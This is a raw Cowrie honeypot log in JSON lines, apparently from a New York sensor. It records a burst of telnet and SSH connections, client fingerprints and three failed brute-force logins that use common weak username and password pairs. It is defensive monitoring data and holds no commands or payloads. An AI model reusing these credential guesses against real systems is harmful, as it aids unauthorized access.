{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40434,"dst_ip":"159.203.135.109","dst_port":23,"session":"bae7ee92c9b8","protocol":"telnet","message":"New connection: 209.126.87.217:40434 (159.203.135.109:23) [session: bae7ee92c9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:25.450212Z"}
{"eventid":"cowrie.session.closed","duration":32.578779458999634,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:27.556531Z","src_ip":"209.126.87.217","session":"f1bf3e89d703","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.559752225875854,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:29.281771Z","src_ip":"209.126.87.217","session":"26705759316a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50188,"dst_ip":"159.203.135.109","dst_port":23,"session":"88a95108c3c4","protocol":"telnet","message":"New connection: 209.126.87.217:50188 (159.203.135.109:23) [session: 88a95108c3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:31.201743Z"}
{"eventid":"cowrie.session.closed","duration":120.00140476226807,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:32.019740Z","src_ip":"191.251.162.82","session":"3637599531a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":39058,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc2445b72a4a","protocol":"telnet","message":"New connection: 191.251.162.82:39058 (159.203.135.109:23) [session: cc2445b72a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:32.646084Z"}
{"eventid":"cowrie.session.closed","duration":120.00142860412598,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:33.705557Z","src_ip":"72.27.54.238","session":"45eb62e2b511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.25889611244202,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:33.860853Z","src_ip":"209.126.87.217","session":"acf031b083fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.27.54.238","src_port":34078,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d6f705d7ff1","protocol":"telnet","message":"New connection: 72.27.54.238:34078 (159.203.135.109:23) [session: 7d6f705d7ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:34.065259Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50198,"dst_ip":"159.203.135.109","dst_port":23,"session":"57029ca16ec8","protocol":"telnet","message":"New connection: 209.126.87.217:50198 (159.203.135.109:23) [session: 57029ca16ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:34.417128Z"}
{"eventid":"cowrie.session.closed","duration":34.535444021224976,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:34.559351Z","src_ip":"209.126.87.217","session":"835ddb9c475f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50204,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ee5fd370846","protocol":"telnet","message":"New connection: 209.126.87.217:50204 (159.203.135.109:23) [session: 2ee5fd370846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:34.564610Z"}
{"eventid":"cowrie.session.closed","duration":32.515042781829834,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:35.907905Z","src_ip":"209.126.87.217","session":"0a56a9023dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50210,"dst_ip":"159.203.135.109","dst_port":23,"session":"31776a0cd216","protocol":"telnet","message":"New connection: 209.126.87.217:50210 (159.203.135.109:23) [session: 31776a0cd216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:36.217180Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50222,"dst_ip":"159.203.135.109","dst_port":23,"session":"538071ba8861","protocol":"telnet","message":"New connection: 209.126.87.217:50222 (159.203.135.109:23) [session: 538071ba8861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:37.583884Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50238,"dst_ip":"159.203.135.109","dst_port":23,"session":"649d5ea0878d","protocol":"telnet","message":"New connection: 209.126.87.217:50238 (159.203.135.109:23) [session: 649d5ea0878d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:38.041532Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50254,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fbaaf9a743f","protocol":"telnet","message":"New connection: 209.126.87.217:50254 (159.203.135.109:23) [session: 4fbaaf9a743f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:38.937370Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50266,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff14920b2f76","protocol":"telnet","message":"New connection: 209.126.87.217:50266 (159.203.135.109:23) [session: ff14920b2f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:39.225228Z"}
{"eventid":"cowrie.session.closed","duration":32.718289375305176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:39.440859Z","src_ip":"209.126.87.217","session":"abd03ab2016e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00120711326599,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:40.042718Z","src_ip":"42.114.201.41","session":"fda25ca64beb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34060,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee225d3f382d","protocol":"telnet","message":"New connection: 209.126.87.217:34060 (159.203.135.109:23) [session: ee225d3f382d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:40.775901Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34076,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b744b2fe671","protocol":"telnet","message":"New connection: 209.126.87.217:34076 (159.203.135.109:23) [session: 4b744b2fe671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:41.082764Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":47719,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dd443b1af64","protocol":"telnet","message":"New connection: 42.114.201.41:47719 (159.203.135.109:23) [session: 4dd443b1af64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:41.102867Z"}
{"eventid":"cowrie.session.closed","duration":120.00124835968018,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:41.906337Z","src_ip":"42.114.201.41","session":"a6188a06c6b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34086,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bfc1f5f1dc2","protocol":"telnet","message":"New connection: 209.126.87.217:34086 (159.203.135.109:23) [session: 5bfc1f5f1dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:42.889296Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":40810,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeb50d40bef0","protocol":"telnet","message":"New connection: 42.114.201.41:40810 (159.203.135.109:23) [session: eeb50d40bef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:43.243941Z"}
{"eventid":"cowrie.session.closed","duration":120.00166034698486,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:45.229287Z","src_ip":"42.114.201.41","session":"b2e0e5994590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34096,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6bad25f1aa8","protocol":"telnet","message":"New connection: 209.126.87.217:34096 (159.203.135.109:23) [session: a6bad25f1aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:45.466875Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":45486,"dst_ip":"10.17.0.5","dst_port":22,"session":"5921229b9813","protocol":"ssh","message":"New connection: 45.43.86.48:45486 (10.17.0.5:22) [session: 5921229b9813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:46.012419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:46.017344Z","src_ip":"45.43.86.48","session":"5921229b9813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:46.116379Z","src_ip":"45.43.86.48","session":"5921229b9813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123qwe","message":"login attempt [ftptest/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:46.516227Z","src_ip":"45.43.86.48","session":"5921229b9813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:47.605992Z","src_ip":"45.43.86.48","session":"5921229b9813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.77904033660889,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:47.842020Z","src_ip":"209.126.87.217","session":"f4b7741458ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":49764,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff1a8fa23cdf","protocol":"telnet","message":"New connection: 209.126.87.217:49764 (159.203.135.109:23) [session: ff1a8fa23cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:52.102366Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":49776,"dst_ip":"159.203.135.109","dst_port":23,"session":"70c19873488d","protocol":"telnet","message":"New connection: 209.126.87.217:49776 (159.203.135.109:23) [session: 70c19873488d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:52.567750Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":49786,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cbedb1d3967","protocol":"telnet","message":"New connection: 209.126.87.217:49786 (159.203.135.109:23) [session: 8cbedb1d3967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:55.211993Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.106.219","src_port":51200,"dst_ip":"10.17.0.5","dst_port":23,"session":"29faa2708bc6","protocol":"telnet","message":"New connection: 170.82.106.219:51200 (10.17.0.5:23) [session: 29faa2708bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:57.004399Z"}
{"eventid":"cowrie.session.closed","duration":36.341447830200195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:57.297252Z","src_ip":"209.126.87.217","session":"f363e826ed42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.358105421066284,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:57.670342Z","src_ip":"209.126.87.217","session":"8d600e9053f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.99284267425537,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:59.442886Z","src_ip":"209.126.87.217","session":"bae7ee92c9b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.319400787353516,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:59.823600Z","src_ip":"209.126.87.217","session":"b46bba11e818","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51700,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dac871e1e71","protocol":"telnet","message":"New connection: 108.179.216.206:51700 (10.17.0.5:23) [session: 3dac871e1e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:00.668321Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56356,"dst_ip":"159.203.135.109","dst_port":23,"session":"e20481e8f26b","protocol":"telnet","message":"New connection: 209.126.87.217:56356 (159.203.135.109:23) [session: e20481e8f26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:02.127174Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53682,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfabdc2944d4","protocol":"ssh","message":"New connection: 159.203.92.129:53682 (159.203.135.109:22) [session: bfabdc2944d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:03.715472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:03.736688Z","src_ip":"159.203.92.129","session":"bfabdc2944d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:03.740699Z","src_ip":"159.203.92.129","session":"bfabdc2944d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Huawei@123","message":"login attempt [ansible/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:03.845426Z","src_ip":"159.203.92.129","session":"bfabdc2944d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.106.219","src_port":51518,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d67181dd62a","protocol":"telnet","message":"New connection: 170.82.106.219:51518 (10.17.0.5:23) [session: 0d67181dd62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:04.059595Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56360,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbebe5f721a2","protocol":"telnet","message":"New connection: 209.126.87.217:56360 (159.203.135.109:23) [session: dbebe5f721a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:04.833036Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:04.853163Z","src_ip":"159.203.92.129","session":"bfabdc2944d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.106.219","src_port":52130,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ea919d276a","protocol":"telnet","message":"New connection: 170.82.106.219:52130 (10.17.0.5:23) [session: a4ea919d276a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:07.178169Z"}
{"eventid":"cowrie.session.closed","duration":32.864349603652954,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:07.281388Z","src_ip":"209.126.87.217","session":"57029ca16ec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.106.219","src_port":52076,"dst_ip":"10.17.0.5","dst_port":23,"session":"baa2c96cca8e","protocol":"telnet","message":"New connection: 170.82.106.219:52076 (10.17.0.5:23) [session: baa2c96cca8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:07.640225Z"}
{"eventid":"cowrie.session.closed","duration":33.950716495513916,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:08.515330Z","src_ip":"209.126.87.217","session":"2ee5fd370846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.42110204696655,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:08.622703Z","src_ip":"209.126.87.217","session":"88a95108c3c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.51491069793701,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:08.731960Z","src_ip":"209.126.87.217","session":"31776a0cd216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":44772,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b06769649f","protocol":"ssh","message":"New connection: 171.244.141.86:44772 (159.203.135.109:22) [session: a6b06769649f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:08.934796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:08.939876Z","src_ip":"171.244.141.86","session":"a6b06769649f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:09.181225Z","src_ip":"171.244.141.86","session":"a6b06769649f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u","message":"login attempt [root/1q2w3e4r5t6y7u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:10.165427Z","src_ip":"171.244.141.86","session":"a6b06769649f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.036991119384766,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:10.974260Z","src_ip":"209.126.87.217","session":"4fbaaf9a743f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.54066586494446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:11.124443Z","src_ip":"209.126.87.217","session":"538071ba8861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37572,"dst_ip":"159.203.135.109","dst_port":23,"session":"11f9f8f77d22","protocol":"telnet","message":"New connection: 209.126.87.217:37572 (159.203.135.109:23) [session: 11f9f8f77d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:11.395713Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:11.409736Z","src_ip":"171.244.141.86","session":"a6b06769649f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.01837873458862,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:13.059788Z","src_ip":"209.126.87.217","session":"649d5ea0878d","protocol":"telnet"}
